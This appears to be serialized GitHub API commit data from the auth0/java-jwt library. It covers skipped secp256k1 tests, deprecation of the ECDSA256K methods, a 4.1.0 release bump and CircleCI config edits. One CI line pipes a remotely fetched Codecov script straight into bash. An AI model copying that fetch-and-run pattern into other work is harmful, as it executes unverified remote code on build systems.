deletionsKufiles](}(j]+  (7af0a8d7f4baffb7ead64302a80461352c0e7221filename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.java       statusmodifiedj+  Kj+  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=ee1265cbf9ed5ab2ecf478cebe75fbb347659c12patchX  @@ -3,10 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import net.jodah.concurrentunit.Waiter;
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.Test;
+import org.junit.*;
 import org.junit.rules.ExpectedException;
 
 import java.security.interfaces.ECKey;
@@ -146,6 +143,7 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
     }
     
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
         String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");u}(j]+  (98431b09133abb42602c6b50ee8233eb4e44b37fj+  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj+  modifiedj+  Kj+  K j+  Kj+  https://github.com/auth0/java-jwt/blob/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj+  https://github.com/auth0/java-jwt/raw/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj+  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=ee1265cbf9ed5ab2ecf478cebe75fbb347659c12j+  X  @@ -6,6 +6,7 @@
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -158,6 +159,7 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
     }
 
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
@@ -174,6 +176,7 @@ public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
     }
 
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);u}(j]+  (47307ae3f168776fb472f8254eff88c27dc2bb9dj+  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj+  modifiedj+  Kj+  K j+  Kj+  https://github.com/auth0/java-jwt/blob/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj+  https://github.com/auth0/java-jwt/raw/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj+  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=ee1265cbf9ed5ab2ecf478cebe75fbb347659c12j+  X  @@ -4,6 +4,7 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.core.IsCollectionContaining;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -498,6 +499,7 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
     }
 
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
         ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");u}(j]+  (4b07152ba74fd35eca9d2147b8d9ce389c7ebfc2j+  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj+  modifiedj+  Kj+  K j+  Kj+  https://github.com/auth0/java-jwt/blob/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj+  https://github.com/auth0/java-jwt/raw/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj+  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=ee1265cbf9ed5ab2ecf478cebe75fbb347659c12j+  X(  @@ -6,6 +6,7 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -188,6 +189,7 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
     }
     
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
         ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
         Algorithm algorithm = Algorithm.ECDSA256K(key, null);
@@ -209,13 +211,15 @@ public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exceptio
     }
     
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
         Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
                 , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
         algorithm.verify(JWT.decode(ES256K_JWT));
     }
     
     @Test
+    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");u}(j]+  (1959a76c16b4a7b37f65f46f41f5634c03d89acej+  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj+  modifiedj+  Kj+  Kj+  Kj+  https://github.com/auth0/java-jwt/blob/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj+  https://github.com/auth0/java-jwt/raw/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj+  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=ee1265cbf9ed5ab2ecf478cebe75fbb347659c12j+  X  @@ -5,10 +5,7 @@
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import org.bouncycastle.jce.provider.BouncyCastleProvider;
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.Test;
+import org.junit.*;
 import org.junit.rules.ExpectedException;
 
 import java.nio.charset.StandardCharsets;
@@ -102,13 +99,15 @@ public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exceptio
     }
     
     @Test
+    @Ignore //todo: handle curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
         Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
                 , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
         algorithm.verify(JWT.decode(ES256K_JWT));
     }
     
     @Test
+    @Ignore //todo: handle curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");ueu(a3cb42a60f391a4b6e52e2495f76baba3b37f6d5}(sha(a3cb42a60f391a4b6e52e2495f76baba3b37f6d5node_idEC_kwDOAQtL0doAKGEzY2I0MmE2MGYzOTFhNGI2ZTUyZTI0OTVmNzZiYWJhM2IzN2Y2ZDUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-12T04:00:16Zu	committer}(j+  GitHubj+  noreply@github.comj+  2022-10-12T04:00:16Zumessage"Merge branch 'master' into iss-614tree}(j+  (666c578ef32b876a98d4b687cb6387014c1babe6url^https://api.github.com/repos/auth0/java-jwt/git/trees/666c578ef32b876a98d4b687cb6387014c1babe6uj
,  `https://api.github.com/repos/auth0/java-jwt/git/commits/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRjvQCRBK7hj4Ov3rIwAAaqMIACgHFxaT1lthzos8cFn2hpWw
D01VlC4hY5DMhW9P7o69d+mkBZHgBB608ebZjFEUpwrwF0xF5UoQyjlwAB1ZgnuX
gmO/AJNvj5fnCHOsXVyN8kUDrUnYak/09qFJ2Z8RON3v9xXhiWUmF/lqup+q3pqV
WycSZ4b5DqxjITzPBpD3QrHQhPle3WaGjIyG7PhMpgVHbplNrxpLRGdwdcVrDgFO
zYP/lNyEQuftPMKJFgLConW1lHex14lA1DRt65p6sJTf3PxI9Hs3yi45fu3gkJSm
vM6hKQ9JVZSOQe4jSZn8kfKyYQ+9fUmVqP1MxC1lxRimfalEiHh7rWMswQsRRZc=
=fdGo
-----END PGP SIGNATURE-----
payloadX&  tree 666c578ef32b876a98d4b687cb6387014c1babe6
parent 90d2f245ef5575d95bb00e2d087257e28d45f95c
parent 83eeb3b4404decec7ccfcc5d39df27361e9a41e8
author Jim Anderson <jim.anderson@auth0.com> 1665547216 -0500
committer GitHub <noreply@github.com> 1665547216 -0500

Merge branch 'master' into iss-614uuj
,  \https://api.github.com/repos/auth0/java-jwt/commits/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5html_urlQhttps://github.com/auth0/java-jwt/commit/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/commentsj+  }(login
jimmyjamesidJ7 j+  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j
,  'https://api.github.com/users/jimmyjamesj,  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj ,  }(j,  web-flowj,  J/j+  MDQ6VXNlcjE5ODY0NDQ3j!,  4https://avatars.githubusercontent.com/u/19864447?v=4j#,  h3j
,  %https://api.github.com/users/web-flowj,  https://github.com/web-flowj&,  /https://api.github.com/users/web-flow/followersj(,  <https://api.github.com/users/web-flow/following{/other_user}j*,  5https://api.github.com/users/web-flow/gists{/gist_id}j,,  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j.,  3https://api.github.com/users/web-flow/subscriptionsj0,  *https://api.github.com/users/web-flow/orgsj2,  +https://api.github.com/users/web-flow/reposj4,  6https://api.github.com/users/web-flow/events{/privacy}j6,  5https://api.github.com/users/web-flow/received_eventsj8,  Userj:,  uparents](}(j+  (90d2f245ef5575d95bb00e2d087257e28d45f95cj
,  \https://api.github.com/repos/auth0/java-jwt/commits/90d2f245ef5575d95bb00e2d087257e28d45f95cj,  Qhttps://github.com/auth0/java-jwt/commit/90d2f245ef5575d95bb00e2d087257e28d45f95cu}(j+  (83eeb3b4404decec7ccfcc5d39df27361e9a41e8j
,  \https://api.github.com/repos/auth0/java-jwt/commits/83eeb3b4404decec7ccfcc5d39df27361e9a41e8j,  Qhttps://github.com/auth0/java-jwt/commit/83eeb3b4404decec7ccfcc5d39df27361e9a41e8uestats}(totalK"	additionsK	deletionsKufiles](}(j+  (e6b1dcd96cde8f47aa4f2449e9b71e4d7b9360cafilename.circleci/config.ymlstatusmodifiedjX,  KjY,  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=a3cb42a60f391a4b6e52e2495f76baba3b37f6d5patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.1
+  ship: auth0/ship@0.7.2
   codecov: codecov/codecov@3
 
 commands:u}(j+  (04796fd76fbdf8e454f28ec430963aa334820caaj^,  CHANGELOG.mdj`,  modifiedjX,  KjY,  K jb,  Kjc,  \https://github.com/auth0/java-jwt/blob/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/CHANGELOG.mdje,  [https://github.com/auth0/java-jwt/raw/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/CHANGELOG.mdjg,  nhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=a3cb42a60f391a4b6e52e2495f76baba3b37f6d5ji,  X  @@ -1,5 +1,26 @@
 # Change Log
 
+## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
+
+**⚠️ BREAKING CHANGES**
+- Make JWT constants final values [\#604](https://github.com/auth0/java-jwt/pull/604) ([poovamraj](https://github.com/poovamraj))
+
+**Added**
+- Add integration with our Shipping orb [\#612](https://github.com/auth0/java-jwt/pull/612) ([frederikprijck](https://github.com/frederikprijck))
+- Add Ship CLI support [\#609](https://github.com/auth0/java-jwt/pull/609) ([jimmyjames](https://github.com/jimmyjames))
+- Provide straightforward example for JWKS [\#600](https://github.com/auth0/java-jwt/pull/600) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- Update to gradle 6.9.2 [\#608](https://github.com/auth0/java-jwt/pull/608) ([jimmyjames](https://github.com/jimmyjames))
+- Update OSS plugin to latest [\#607](https://github.com/auth0/java-jwt/pull/607) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3466] Upgrade Codecov [\#595](https://github.com/auth0/java-jwt/pull/595) ([evansims](https://github.com/evansims))
+- Update README.md [\#590](https://github.com/auth0/java-jwt/pull/590) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- Check for null token before splitting [\#606](https://github.com/auth0/java-jwt/pull/606) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3816] Update docs for verification thread-safety [\#605](https://github.com/auth0/java-jwt/pull/605) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
 u}(j+  (a4fa509e8d84c8c98a8f27fc4e677e657a4a0fb1j^,  	README.mdj`,  modifiedjX,  KjY,  Kjb,  Kjc,  Yhttps://github.com/auth0/java-jwt/blob/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/README.mdje,  Xhttps://github.com/auth0/java-jwt/raw/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/README.mdjg,  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=a3cb42a60f391a4b6e52e2495f76baba3b37f6d5ji,  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.0.0'
+implementation 'com.auth0:java-jwt:4.1.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.0.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.0.0</version>
+    <version>4.1.0</version>
 </dependency>
 ```
 u}(j+  (3649399cedbf73222cf3538482338b5f1e184244j^,  lib/build.gradlej`,  modifiedjX,  KjY,  Kjb,  Kjc,  bhttps://github.com/auth0/java-jwt/blob/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/lib%2Fbuild.gradleje,  ahttps://github.com/auth0/java-jwt/raw/a3cb42a60f391a4b6e52e2495f76baba3b37f6d5/lib%2Fbuild.gradlejg,  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=a3cb42a60f391a4b6e52e2495f76baba3b37f6d5ji,  Xy  @@ -1,5 +1,5 @@
 buildscript {
-    version = "4.0.0"
+    version = "4.1.0"
 }
 
 plugins {
@@ -9,8 +9,8 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('SIGNING_KEY')
-def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+def signingKey = findProperty('signingKey')
+def signingKeyPwd = findProperty('signingPassword')
 
 signing {
     useInMemoryPgpKeys(signingKey, signingKeyPwd)
@@ -29,6 +29,7 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.0.0"
+    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(304b8ee3cc409eaab8866e55ea6fa5bf1ef82618}(sha(304b8ee3cc409eaab8866e55ea6fa5bf1ef82618node_idEC_kwDOAQtL0doAKDMwNGI4ZWUzY2M0MDllYWFiODg2NmU1NWVhNmZhNWJmMWVmODI2MTgcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-01T13:20:18Zu	committer}(j,  James Andersonj,  jim.anderson@auth0.comj,  2022-03-01T13:20:18Zumessage'Remove apiDiff check for v4 developmenttree}(j,  (3e996613cc79ff389c7542b2d9238ddb00803db6url^https://api.github.com/repos/auth0/java-jwt/git/trees/3e996613cc79ff389c7542b2d9238ddb00803db6uj,  `https://api.github.com/repos/auth0/java-jwt/git/commits/304b8ee3cc409eaab8866e55ea6fa5bf1ef82618
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj,  \https://api.github.com/repos/auth0/java-jwt/commits/304b8ee3cc409eaab8866e55ea6fa5bf1ef82618html_urlQhttps://github.com/auth0/java-jwt/commit/304b8ee3cc409eaab8866e55ea6fa5bf1ef82618comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/304b8ee3cc409eaab8866e55ea6fa5bf1ef82618/commentsj,  }(login
jimmyjamesidJ7 j,  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j,  'https://api.github.com/users/jimmyjamesj,  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj,  }(j,  
jimmyjamesj,  J7 j,  MDQ6VXNlcjI3NjIyNQ==j,  2https://avatars.githubusercontent.com/u/276225?v=4j,  h3j,  'https://api.github.com/users/jimmyjamesj,  https://github.com/jimmyjamesj,  1https://api.github.com/users/jimmyjames/followersj,  >https://api.github.com/users/jimmyjames/following{/other_user}j,  7https://api.github.com/users/jimmyjames/gists{/gist_id}j,  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j,  5https://api.github.com/users/jimmyjames/subscriptionsj,  ,https://api.github.com/users/jimmyjames/orgsj,  -https://api.github.com/users/jimmyjames/reposj,  8https://api.github.com/users/jimmyjames/events{/privacy}j,  7https://api.github.com/users/jimmyjames/received_eventsj,  Userj,  uparents]}(j,  (a043f0284389d4efd58494264ce5ba2c79332410j,  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410j,  Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410uastats}(totalK	additionsK 	deletionsKufiles]}(j,  (b8f9b4d8b54f82bfb075e214dc902551db7a204afilename.circleci/config.ymlstatusmodifiedj,  K j,  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/304b8ee3cc409eaab8866e55ea6fa5bf1ef82618/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/304b8ee3cc409eaab8866e55ea6fa5bf1ef82618/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=304b8ee3cc409eaab8866e55ea6fa5bf1ef82618patchX  @@ -23,14 +23,6 @@ commands:
           name: Upload Coverage
           when: on_success
           command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.html
 
 jobs:
   build:
@@ -43,21 +35,8 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diffuau(5b4657ab05446b0366a2be55a77eabe9abd11b8e}(sha(5b4657ab05446b0366a2be55a77eabe9abd11b8enode_idEC_kwDOAQtL0doAKDViNDY1N2FiMDU0NDZiMDM2NmEyYmU1NWE3N2VhYmU5YWJkMTFiOGUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-11T14:10:37Zu	committer}(j-  
Poovamraj T Tj-  poovamraj@gmail.comj-  2022-03-11T14:10:37Zumessage6[SDK-3192] Deprecate secp256k1 curve for EC Algorithmstree}(j,  (4611439edb4c7755728964a580e58a669185f32durl^https://api.github.com/repos/auth0/java-jwt/git/trees/4611439edb4c7755728964a580e58a669185f32duj-  `https://api.github.com/repos/auth0/java-jwt/git/commits/5b4657ab05446b0366a2be55a77eabe9abd11b8e
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj-  \https://api.github.com/repos/auth0/java-jwt/commits/5b4657ab05446b0366a2be55a77eabe9abd11b8ehtml_urlQhttps://github.com/auth0/java-jwt/commit/5b4657ab05446b0366a2be55a77eabe9abd11b8ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5b4657ab05446b0366a2be55a77eabe9abd11b8e/commentsj -  }(login	poovamrajidJ j,  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j-  &https://api.github.com/users/poovamrajj-  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj-  }(j#-  	poovamrajj%-  J j,  MDQ6VXNlcjE1OTEwNDI1j'-  4https://avatars.githubusercontent.com/u/15910425?v=4j)-  h3j-  &https://api.github.com/users/poovamrajj-  https://github.com/poovamrajj,-  0https://api.github.com/users/poovamraj/followersj.-  =https://api.github.com/users/poovamraj/following{/other_user}j0-  6https://api.github.com/users/poovamraj/gists{/gist_id}j2-  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j4-  4https://api.github.com/users/poovamraj/subscriptionsj6-  +https://api.github.com/users/poovamraj/orgsj8-  ,https://api.github.com/users/poovamraj/reposj:-  7https://api.github.com/users/poovamraj/events{/privacy}j<-  6https://api.github.com/users/poovamraj/received_eventsj>-  Userj@-  uparents]}(j,  (a043f0284389d4efd58494264ce5ba2c79332410j-  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410j-  Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410uastats}(totalK	additionsK	deletionsK ufiles]}(j,  (37a99142a8700c67a377a699f62b764d8ddb9ee5filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedjZ-  Kj[-  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/5b4657ab05446b0366a2be55a77eabe9abd11b8e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/5b4657ab05446b0366a2be55a77eabe9abd11b8e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=5b4657ab05446b0366a2be55a77eabe9abd11b8epatchX  @@ -182,8 +182,10 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      *
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
+     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the Key Provider is null.
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -194,8 +196,10 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param publicKey  the key to use in the verify instance.
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
+     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the provided Key is null.
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
